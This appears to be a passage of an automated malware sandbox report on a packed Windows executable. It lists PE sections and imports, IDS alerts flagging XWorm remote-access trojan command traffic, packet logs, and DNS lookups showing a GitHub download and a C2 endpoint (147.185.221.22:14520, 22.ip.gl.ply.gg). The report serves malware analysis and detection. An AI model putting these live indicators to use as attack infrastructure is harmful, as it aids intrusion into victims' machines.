IMAGE_DIRECTORY_ENTRY_BASERELOC	0x298000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x2000	0x10000	0x10000	504cb1489c19fe6633182dcc42d75212	False	1.000396728515625	data	7.99709234138958	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x12000	0x2000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x14000	0x2000	0x200	870484c1f4c6c68a73a5f22669fa6139	False	1.021484375	data	7.501912508388803	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x16000	0x2000	0x600	9b7d62c0a77ff5b5b7a702703957c42f	False	0.3723958333333333	data	3.6952548279889683	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x18000	0x280000	0x2ba00	0173ee7ae3ccefb5a6378710b351ecc3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x298000	0xe6000	0xe6000	26e6bac610bd6b2ebc38659cb3de9db9	False	0.9972337805706522	data	7.984098571143187	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x160a0	0x23c	data			0.4755244755244755
RT_MANIFEST	0x162dc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-24T21:55:06.804547+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49732	443	192.168.2.4	140.82.121.4
2024-08-24T21:57:03.276679+0200	TCP	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	49741	14520	192.168.2.4	147.185.221.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 24, 2024 21:55:03.960525990 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:03.960555077 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:03.960773945 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:03.976320982 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:03.976341009 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:04.636399984 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:04.636464119 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:04.640326977 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:04.640338898 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:04.640662909 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:04.681404114 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:04.698662043 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:04.744493008 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.057477951 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.057554007 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.057598114 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.057611942 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.057775021 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.057822943 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.057830095 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.057871103 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.058079004 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.058130026 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.058154106 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.058162928 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.058168888 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.058206081 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.058212996 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.101633072 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.154200077 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.154301882 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.154331923 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.154386997 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.154405117 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.154448032 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.154459000 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.154570103 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.154606104 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.154612064 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.155478954 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.155533075 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.155560970 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.155582905 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.155596018 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.155611992 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.155632973 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.155677080 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.155683041 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.156320095 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.156384945 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.156392097 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.156523943 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.156563044 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.156567097 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.156573057 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.156621933 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.157195091 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.157334089 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.157382011 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.157388926 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.212667942 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.240029097 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.244323969 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.244390011 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.244400024 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.244410992 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.244453907 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.244467020 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.244570971 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.244612932 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.244628906 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.244635105 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.244709969 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.244755983 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.244762897 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.244806051 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.245332956 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.245402098 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.245479107 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.245485067 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.245543003 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.245577097 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.245611906 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.245620012 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.245626926 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.245665073 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.246304989 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.246397018 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.246398926 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.246412039 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.246450901 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.246460915 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.246517897 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.246572018 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.246606112 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.246612072 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.246666908 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.247303009 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.247360945 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.247406960 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.247416019 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.247458935 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.247493982 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.247498989 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.247505903 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.247548103 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.247554064 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.248281956 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.248323917 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.248339891 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.248347044 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.248383999 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.248403072 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.248409986 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.248490095 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.248497009 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.248533964 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.248601913 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.248608112 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.249375105 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.249418020 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.249535084 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.249543905 CEST	443	49730	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.249588966 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.255549908 CEST	49730	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.274799109 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 24, 2024 21:55:05.274842024 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 24, 2024 21:55:05.274979115 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 24, 2024 21:55:05.275495052 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 24, 2024 21:55:05.275506973 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 24, 2024 21:55:05.753969908 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 24, 2024 21:55:05.754040956 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 24, 2024 21:55:05.757272959 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 24, 2024 21:55:05.757294893 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 24, 2024 21:55:05.757580042 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 24, 2024 21:55:05.759243965 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 24, 2024 21:55:05.804502010 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 24, 2024 21:55:05.870563030 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 24, 2024 21:55:05.870667934 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 24, 2024 21:55:05.870717049 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 24, 2024 21:55:05.871109009 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 24, 2024 21:55:05.874149084 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.874195099 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:05.874331951 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.874643087 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:05.874658108 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.514379025 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.516380072 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.516412020 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.804547071 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.804855108 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.804904938 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.804939985 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.804944038 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.804964066 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.804980993 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.805001020 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.805108070 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.805401087 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.805440903 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.809349060 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.809357882 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.813175917 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.851244926 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.895375013 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.895410061 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.895535946 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.895617962 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.895643950 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.896024942 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.896054029 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.896081924 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.896101952 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.896111012 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.896121025 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.896516085 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.896548033 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.896559954 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.896569014 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.896605015 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.896610022 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.896647930 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.896686077 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.896692991 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.897474051 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.897516012 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.897542000 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.897581100 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.897588968 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.942289114 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.942343950 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.942378044 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.942411900 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.942450047 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.942451000 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.942461967 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.942492008 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.986844063 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.986884117 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.986916065 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.986948013 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.986979961 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.986977100 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.987001896 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.987023115 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.987262964 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.987301111 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.987307072 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.987435102 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.987462044 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.987493992 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.987502098 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.987509966 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.987550974 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.987581968 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.987591982 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.987615108 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.987654924 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.988382101 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.988461018 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.988497019 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.988504887 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.988512993 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.988549948 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.988552094 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.988559961 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.988600969 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.988605976 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.989290953 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.989326000 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.989361048 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.989392996 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.989398956 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.989408016 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.989455938 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.989495039 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.989538908 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.989545107 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.990251064 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.990284920 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.990293026 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.990298986 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:06.993079901 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:55:06.993087053 CEST	443	49732	140.82.121.4	192.168.2.4
Aug 24, 2024 21:55:07.001943111 CEST	49732	443	192.168.2.4	140.82.121.4
Aug 24, 2024 21:56:27.234853983 CEST	49740	14520	192.168.2.4	147.185.221.22
Aug 24, 2024 21:56:27.239749908 CEST	14520	49740	147.185.221.22	192.168.2.4
Aug 24, 2024 21:56:27.239815950 CEST	49740	14520	192.168.2.4	147.185.221.22
Aug 24, 2024 21:56:27.344769001 CEST	49740	14520	192.168.2.4	147.185.221.22
Aug 24, 2024 21:56:27.349965096 CEST	14520	49740	147.185.221.22	192.168.2.4
Aug 24, 2024 21:56:40.575408936 CEST	49740	14520	192.168.2.4	147.185.221.22
Aug 24, 2024 21:56:40.580390930 CEST	14520	49740	147.185.221.22	192.168.2.4
Aug 24, 2024 21:56:48.603740931 CEST	14520	49740	147.185.221.22	192.168.2.4
Aug 24, 2024 21:56:48.603975058 CEST	49740	14520	192.168.2.4	147.185.221.22
Aug 24, 2024 21:56:50.932372093 CEST	49740	14520	192.168.2.4	147.185.221.22
Aug 24, 2024 21:56:50.934443951 CEST	49741	14520	192.168.2.4	147.185.221.22
Aug 24, 2024 21:56:50.937880039 CEST	14520	49740	147.185.221.22	192.168.2.4
Aug 24, 2024 21:56:50.939851999 CEST	14520	49741	147.185.221.22	192.168.2.4
Aug 24, 2024 21:56:50.939924002 CEST	49741	14520	192.168.2.4	147.185.221.22
Aug 24, 2024 21:56:51.145322084 CEST	49741	14520	192.168.2.4	147.185.221.22
Aug 24, 2024 21:56:51.150255919 CEST	14520	49741	147.185.221.22	192.168.2.4
Aug 24, 2024 21:57:03.276679039 CEST	49741	14520	192.168.2.4	147.185.221.22
Aug 24, 2024 21:57:03.281585932 CEST	14520	49741	147.185.221.22	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 24, 2024 21:55:02.929810047 CEST	64572	53	192.168.2.4	1.1.1.1
Aug 24, 2024 21:55:03.916169882 CEST	64572	53	192.168.2.4	1.1.1.1
Aug 24, 2024 21:55:03.955718994 CEST	53	64572	1.1.1.1	192.168.2.4
Aug 24, 2024 21:55:03.958954096 CEST	53	64572	1.1.1.1	192.168.2.4
Aug 24, 2024 21:55:05.261521101 CEST	64724	53	192.168.2.4	1.1.1.1
Aug 24, 2024 21:55:05.274218082 CEST	53	64724	1.1.1.1	192.168.2.4
Aug 24, 2024 21:56:27.184828043 CEST	52358	53	192.168.2.4	1.1.1.1
Aug 24, 2024 21:56:27.225749969 CEST	53	52358	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 24, 2024 21:55:02.929810047 CEST	192.168.2.4	1.1.1.1	0x2c37	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Aug 24, 2024 21:55:03.916169882 CEST	192.168.2.4	1.1.1.1	0x2c37	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Aug 24, 2024 21:55:05.261521101 CEST	192.168.2.4	1.1.1.1	0x19c4	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Aug 24, 2024 21:56:27.184828043 CEST	192.168.2.4	1.1.1.1	0xdcc9	Standard query (0)	22.ip.gl.ply.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 24, 2024 21:55:03.955718994 CEST	1.1.1.1	192.168.2.4	0x2c37	No error (0)	github.com	140.82.121.4	A (IP address)	IN (0x0001)	false
Aug 24, 2024 21:55:03.958954096 CEST	1.1.1.1	192.168.2.4	0x2c37	No error (0)	github.com	140.82.121.4	A (IP address)	IN (0x0001)	false
Aug 24, 2024 21:55:05.274218082 CEST	1.1.1.1	192.168.2.4	0x19c4	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Aug 24, 2024 21:55:05.274218082 CEST	1.1.1.1	192.168.2.4	0x19c4	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Aug 24, 2024 21:55:05.274218082 CEST	1.1.1.1	192.168.2.4	0x19c4	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
